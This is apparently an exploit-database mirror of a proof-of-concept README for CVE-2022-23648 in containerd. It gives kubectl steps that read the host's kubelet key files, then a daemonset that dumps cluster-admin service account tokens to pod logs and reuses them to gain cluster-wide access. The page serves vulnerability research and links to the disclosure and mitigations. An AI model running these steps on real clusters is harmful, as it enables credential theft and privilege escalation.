CVE-2022-23648 PoC — Insecure handling of image volumes in containerd CRI plugin

Source

https://github.com/raesene/CVE-2022-23648-POC

Associated Vulnerability

Title:Insecure handling of image volumes in containerd CRI plugin (CVE-2022-23648)
Description:containerd is a container runtime available as a daemon for Linux and Windows. A bug was found in containerd prior to versions 1.6.1, 1.5.10, and 1.14.12 where containers launched through containerd’s CRI implementation on Linux with a specially-crafted image configuration could gain access to read-only copies of arbitrary files and directories on the host. This may bypass any policy-based enforcement on container setup (including a Kubernetes Pod Security Policy) and expose potentially sensitive information. Kubernetes and crictl can both be configured to use containerd’s CRI implementation. This bug has been fixed in containerd 1.6.1, 1.5.10, and 1.4.12. Users should update to these versions to resolve the issue.

Description

POC for CVE-2022-23648

Readme

## PoC for CVE-2022-23648

This is a proof of concept for [@_fel1x](https://twitter.com/_fel1x)'s CVE-2022-23648. Disclosure info [here](https://bugs.chromium.org/p/project-zero/issues/detail?id=2244), CVE info [here](https://github.com/containerd/containerd/security/advisories/GHSA-crp2-qrr5-8pq7) and a blog with some more information and mitigation ideas [here](https://blog.aquasec.com/cve-2022-23648-containerd-cri-plugin). The `Containerfile` has the info. needed, and you can change the target of the VOLUME to try out different paths.

Easiest way to show it working is to use [KinD](https://kind.sigs.k8s.io/docs/user/quick-start/) which has exploitable images.

## Basic Test procedure

Unless the node somehow has a lot of data in `/var/lib/kubelet/pki`, this should be a safe test.

- `kind create cluster --image=kindest/node:v1.21.1`
- `kubectl create -f pod-manifest.yaml`
- `kubectl exec poctest -- ls /var/lib/kubelet/pki/`

And if you get back files including `kubelet.key` it worked :)

## Try to escalate to cluster-admin

NOTE: **Do not attempt this on a production cluster.  A vulnerable Containerd may duplicate a lot of data into this attack pod and exhaust disk space. Also, this will print cluster-admin SA tokens to pod logs which are likely to get sent to a logging destination in plaintext**

This will run a daemonset that attempts to enumerate all Kubernetes service account tokens on the node and print it to the pod's logs if it's found to be a `cluster-admin` token.

- `kubectl apply -f ds.yaml`
- `kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -A`

If `yes` is printed, congrats, you have a short-lived `cluster-admin` service account token, run: 

- `kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d` to see which SA it is

- `kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A`
- `kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list`

## Author

- [Rory McCune @raesene](https://twitter.com/raesene)

## Contributors

- [@BradGeesaman](https://twitter.com/bradgeesaman) - Escalation Daemonset

File Snapshot


 [4.0K]  /data/pocs/8360b0a14fbec8e9c8ab520e4f326cc5356886b4
├── [ 117]  Containerfile
├── [1.2K]  ds.yaml
├── [ 233]  pod-manifest.yaml
└── [2.1K]  README.md

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!